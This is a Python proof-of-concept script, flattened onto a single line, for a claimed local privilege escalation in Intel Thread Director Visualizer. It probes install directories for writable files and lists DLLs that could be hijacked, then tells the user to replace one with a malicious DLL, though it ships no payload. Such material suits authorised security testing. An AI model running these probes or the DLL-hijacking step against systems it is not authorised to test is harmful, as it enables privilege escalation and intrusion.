CVE-2025-31940 Intel Thread Director Visualizer 本地权限提升漏洞

# CVE-2025-31940 PoC - Intel Thread Director Visualizer Permission Escalation # Note: This PoC demonstrates the vulnerability concept for authorized testing only import os import sys import ctypes import subprocess from pathlib import Path def check_vulnerable_install(): """Check if Intel Thread Director Visualizer is installed with vulnerable permissions""" possible_paths = [ r"C:\Program Files\Intel\Thread Director Visualizer", r"C:\Program Files (x86)\Intel\Thread Director Visualizer", os.path.expanduser(r"~\AppData\Local\Programs\Intel\Thread Director Visualizer") ] vulnerable_instances = [] for install_path in possible_paths: if os.path.exists(install_path): # Check if low-privileged users have write access try: # Test write access to installation directory test_file = os.path.join(install_path, "test_write_access.tmp") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) # Check critical files permissions critical_files = ["ThreadDirectorVisualizer.exe", "config.dat", "driver.dll"] for filename in critical_files: file_path = os.path.join(install_path, filename) if os.path.exists(file_path): # Check if file is writable by non-admin users if os.access(file_path, os.W_OK): vulnerable_instances.append({ "path": install_path, "file": filename, "vulnerable": True }) except (PermissionError, IOError): pass return vulnerable_instances def exploit_via_dll_hijacking(vulnerable_path, malicious_dll_path): """ Exploit DLL hijacking vulnerability to escalate privileges This technique works when the application loads DLLs from its directory """ target_exe = os.path.join(vulnerable_path, "ThreadDirectorVisualizer.exe") if not os.path.exists(target_exe): print("[-] Target executable not found") return False # Common DLLs that applications might load unsafely dll_names = ["msvcr120.dll", "msvcp120.dll", "vcruntime140.dll", "concrt140.dll", "vccorlib140.dll"] for dll_name in dll_names: target_dll = os.path.join(vulnerable_path, dll_name) if os.path.exists(target_dll) and os.access(target_dll, os.W_OK): print(f"[*] Found writable DLL: {target_dll}") print(f"[*] To exploit: Replace with malicious DLL to achieve code execution") return True return False def main(): print("=" * 60) print("CVE-2025-31940 Intel Thread Director Visualizer Exploitation") print("For authorized security testing only") print("=" * 60) # Check for vulnerable installations print("\n[+] Checking for vulnerable installations...") vulnerable_instances = check_vulnerable_install() if not vulnerable_instances: print("[-] No vulnerable installations found") print("[*] Note: Vulnerability requires specific permission misconfigurations") return print(f"[+] Found {len(vulnerable_instances)} potentially vulnerable instance(s)") for instance in vulnerable_instances: print(f"\n[*] Installation Path: {instance['path']}") print(f"[*] Vulnerable File: {instance['file']}") # Attempt DLL hijacking exploitation exploit_via_dll_hijacking(instance['path'], None) print("\n[!] This is a demonstration script") print("[!] Actual exploitation requires additional steps and reverse engineering") if __name__ == "__main__": main()